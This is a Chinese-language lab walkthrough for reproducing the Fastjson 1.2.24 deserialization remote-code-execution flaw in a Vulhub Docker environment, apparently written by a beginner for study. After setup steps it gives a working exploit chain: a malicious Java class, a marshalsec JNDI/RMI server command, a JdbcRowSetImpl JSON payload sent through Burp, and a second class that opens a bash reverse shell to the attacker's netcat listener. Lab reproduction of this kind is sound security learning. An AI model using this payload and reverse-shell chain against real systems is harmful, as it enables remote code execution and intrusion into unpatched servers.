此测试用的是VM搭的Kali 2023.2,且在root用户下进行
https://kali.download/base-images/kali-2023.2/kali-linux-2023.2-vmware-amd64.7z
环境:
Java1.8:(Index of java-local/jdk (huaweicloud.com))
创建目录
mkdir /usr/local/java
加载目录
cd /usr/local/java
下载文件
wget https://repo.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
解压
tar -zxvf jdk-8u202-linux-x64.tar.gz
配置环境变量
vim /etc/profile
内容
export JAVA_HOME=/usr/local/java/jdk1.8.0_202
export PATH=$PATH:$HOME/bin:$JAVA_HOME/bin
更新软连接
update-alternatives --install "/usr/bin/java" "java" "/usr/local/java/jdk1.8.0_202/bin/java" 1
update-alternatives --install "/usr/bin/javac" "javac" "/usr/local/java/jdk1.8.0_202/bin/javac" 1
update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.8.0_202/bin/javaws" 1
update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.8.0_202/bin/javaws" 1
重新加载环境变量文件
source /etc/profile
变换java版本
update-alternatives --config java
查看版本,如图
maven(Maven – Welcome to Apache Maven)
创建目录
mkdir /usr/local/maven
加载目录
cd /usr/local/maven
下载文件
wget https://dlcdn.apache.org/maven/maven-3/3.9.3/binaries/apache-maven-3.9.3-bin.tar.gz
解压
tar -zxvf apache-maven-3.9.3-bin.tar.gz
配置环境变量
vim /etc/profile
添加软连接
update-alternatives --install "/usr/bin/mvn" "mvn" "/usr/local/maven/apache-maven-3.9.3/bin/mvn" 1
重新加载环境变量文件
source /etc/profile
查看版本
mvn -version
Python3
(kali自带,没有的自行查询安装方法)
Docker
推荐方式
curl -s https://get.docker.com/ | sh
系统自带安装包
sudo apt install docker.io
(若报错请使用apt-update更新源后再执行)
Docker-Compose
未安装pip的先安装
curl -s https://bootstrap.pypa.io/get-pip.py | python3
安装D-C
pip install docker-compose
下述文件请放到方便的位置
Vulhub(Vulhub - Docker-Compose file for vulnerability environment)
下载文件
git clone https://github.com/vulhub/vulhub.git
Marshalsec
下载文件
wget https://codeload.github.com/mbechler/marshalsec/zip/refs/heads/master
漏洞复现
开启靶场环境
进入vulhub-master/fastjson/1.2.24-rce下
docker-compose up -d
打开浏览器输入ip+8090端口(如图为操作成功)
编写脚本并用Javac编译(文件名为Test.java,下述代码中class后面的词须与文件名一致,否则无法编译)
import java.lang.Runtime;
import java.lang.Process;
public class Test {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/welldone"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
编译
javac Test.java
开启监听(如图)
python -m http.server 1145
开启RMI监听
到marshalsec-master下执行
mvn clean package -DskipTests
执行成功,如下图
到该文件夹的target下执行:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.1.195:1145/#Test" 9999
配置好浏览器代理并开启bp截获,刷新ip+8090端口的网址,将截获的包放到重放模块并放行截获的包。
在重放模块里替换以下代码(其中有两个标注ip的位置替换为你的ip)
POST / HTTP/1.1
Host: ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 158
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://ip:9999/Test",
"autoCommit":true
}
}
发送后的结果,
查看docker容器id为
docker ps
docker容器的执行命令为
docker exec -it ID bash
反弹shell的方式
在vulhub-master/fastjson/1.2.24-rce下创建新的文件Shell.java(将下述ip的位置替换为你的ip)
import java.lang.Runtime;
import java.lang.Process;
public class Shell {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/ip/5145 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
对上述文件进行编译后开启监听
1.2.24下
python -m http.server 1145
target下
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.1.195:1145/#Shell" 9999
开新窗口监听5145端口(上述Java脚本的反弹shell设置的端口)
nc -lvvp 5145
继续用bp截包放到重放模块(上述截取到的也可以)
替换的payload如下
POST / HTTP/1.1
Host: 192.168.1.195:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 159
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.1.195:9999/Shell",
"autoCommit":true
}
}
发送包后的结果
http服务的端口需要匹配到RMI监听中,RMI监听端口需与payload中ip后的端口相对应,payload中的触发的文件需与脚本文件名对应
以上就是fastjson1.2.24的漏洞复现,过程中需要注意ip和端口是否填写正确。
以下为我复现参考的连接
Vulhub - Docker-Compose file for vulnerability environment
Fastjson反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)_fastjson漏洞原理_Bossfrank的博客-CSDN博客
本人小白,若有遗漏或错误请大佬指点:)